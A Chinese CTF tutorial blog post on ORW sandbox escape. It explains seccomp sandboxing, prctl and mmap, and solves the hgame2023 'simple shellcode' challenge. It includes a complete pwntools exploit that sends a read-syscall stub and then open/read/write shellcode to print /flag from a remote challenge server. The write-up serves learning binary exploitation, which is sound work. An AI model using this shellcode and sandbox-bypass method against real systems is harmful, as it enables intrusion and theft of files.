首页 > 其他分享 >orw入门报告

orw入门报告

时间:2023-02-22 16:47:33浏览次数:47  
标签:入门 报告 read orw 函数 沙箱 shellcode lambda

orw(沙箱逃逸)

现在有很多程序在运行时禁用了系统函数,均采用了沙箱技术开启了沙箱保护,我们不能正常的get shell,只能用ROP链来调用其他的函数,例如read,write来把flag打印出来。这就是orw沙箱逃逸技术的由来。

查看沙箱

在实战中我们可以通过 seccomp-tools来查看程序是否启用了沙箱, seccomp-tools工具安装方法如下:

  1. $ sudo apt install gcc ruby-dev
  2. $ gem install seccomp-tools

安装完成后通过 seccomp-tools dump ./pwn即可查看程序沙箱。

沙箱函数

最原始的沙箱规则是用prctl()函数规定的,这个函数规定了程序哪些函数在程序里不能被调用,所以以后遇见了这种函数,那大概率是开了沙箱。

int **prctl** ( int **option**,unsigned long arg2,unsigned long arg3,unsigned long arg4,unsigned long arg5 )

 

mmap()

一般来说,orw这种类型的题都会有一个mmap函数来改写一个地址的读写权限,我们需要利用这块地址来构造ROP链。

void *mmap (void *addr, size_t length, int prot, int flags, int fd, off_t offset);

 

例题:hgame2023 simple shellcode

题目链接:NSSCTF

下载附件,打开题目,可以看见mmap和read函数

 

 

 

mmap函数给了0xcafe0000这个地址一个可读写可执行权限,read函数能够读取0x10的数据到该地址上,最后将该处内存作为函数调⽤。那这里就可以写入shellcode。

继续跟进sandbox函数

 

 

 

可以看见有两个prctl函数,可以判断程序利用了沙盒保护,用seccomp-tools进行检查

 

 

 

可以看出禁用了execve和execveat,这样子get shell就很难了,只能使用orw。

利用思路:

1.因为0x10这个空间很小,我们没办法在上面构建shellcode,那就只能再重新调用一个read函数。

2.调用完了read函数后,利用orw来打开flag文件,并进行读取。

exp如下:

from pwn import *
​
#p = process('./vuln')
p=remote('1.14.71.254',28371)
elf = ELF('./vuln')
context.log_level = 'debug'
​
context.terminal = ["konsole", "-e"]
context.arch = "amd64"
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
s = lambda x: p.send(x)
​
shellcode = asm("""
    xor eax,eax
    xor edi,edi
    mov edx,0x1000
    mov esi,0xcafe0000
    syscall
""")    #这里是调用read函数
sa("Please input your shellcode:",shellcode)
shellcode = b"\x90" * 0x100  #这里的'\x90'是把程序的其他指令改写成nop,即去掉其他指令
shellcode += asm(shellcraft.open("/flag"))
shellcode += asm(shellcraft.read(3,0xcafe0100,0x100))
shellcode += asm(shellcraft.write(1,0xcafe0100,0x100))
s(shellcode)
ia()

 

orw还有一些其他限制,例如or缺w,rw缺o的情况,这里只是一个入门报告,就不详细介绍了,具体可以看这篇文章浅谈 ORW

标签:入门,报告,read,orw,函数,沙箱,shellcode,lambda
From: https://www.cnblogs.com/fuxuqiannian/p/17144953.html

相关文章

  • AIGC行业深度报告:ChatGPT重新定义搜索“入口”
    原创/文BFT机器人核心观点ChatGPT,有望重新定义搜索”入口”。本文认为ChatGPT是实现“模糊搜索”到“精准推送”的跨时代巅峰之作,复盘Chrome与IE浏览器之争,Chrome获胜关键......
  • Python 100道基础入门练习题(附答案)
    实例001:数字组合题目有四个数字:1、2、3、4,能组成多少个互不相同且无重复数字的三位数?各是多少?程序分析遍历全部可能,把有重复的剃掉。1num=02forainrange(1,5):3......
  • Javascript基础入门
    Javascript基础入门​ JavaScript,是一门能够运行在浏览器上的脚本语言.简称JS.首先,Javascript这个名字的由来就很有意思,不少人认为Javascript和Java貌似很像.容......
  • 分布式任务调度框架xxl-job入门(Cron表达式、环境搭建、整合SpringBoot、广播任务与动
    (目录)xxl-Job分布式任务调度1.概述1.1什么是任务调度我们可以先思考一下业务场景的解决方案:某电商系统需要在每天上午10点,下午3点,晚上8点发放一批优惠券。某银行......
  • Jmeter--请求结果写入文件并生成报告
    一、数据写入文件Jmeter中监听器控件中,都可以将“所有数据写入一个文件”,且文件形式有:xml\jtl\csv   在需要写入的监听器下点击“浏览”按钮,选择一个路径,然后填写......
  • 调查报告解读之国外数据库篇:MySQL国内使用率第一,多少企业有意替换国外产品?
    为了解数据库行业以及从业人员的现状、数据库选型、中国数据库的发展趋势等,墨天轮于2022年开始进行问卷收集,历时24天,共征集到有效问卷3476份,并于2月10日整理发布了《2022年......
  • kafka简单入门
    kafka用途高性能分布式的消息队列工具,你可以用它收集信息或者同时进行消息纷发。kafka安装以及Quickstart安装以及quickstart见官网http://kafka.apache.org/document......
  • 一、入门案例
    开发环境IDE:idea2019.2JDK:JDK8+构建工具:maven3.5.4MySQL版本:MySQL5.7SpringBoot:2.6.3MyBatis-Plus:3.5.1创建数据库及表创建表CREATEDATABASE`mybatis_plu......
  • Cypress简易入门教程
    每天进步一点点,关注我们哦,每天分享测试技术文章本文章出自【码同学软件测试】码同学公众号:自动化软件测试,领取资料可加:magetest码同学抖音号:小码哥聊软件测试 01Wind......
  • golang入门(十二)并发channel
    多线程与多进程本质的区别在于,多线程的内存空间是共享的,多进程是每一个进程都会独立开辟一块内存空间。如果我们运行的多个任务是完全独立的,那么在资源足够的情况下并发还是......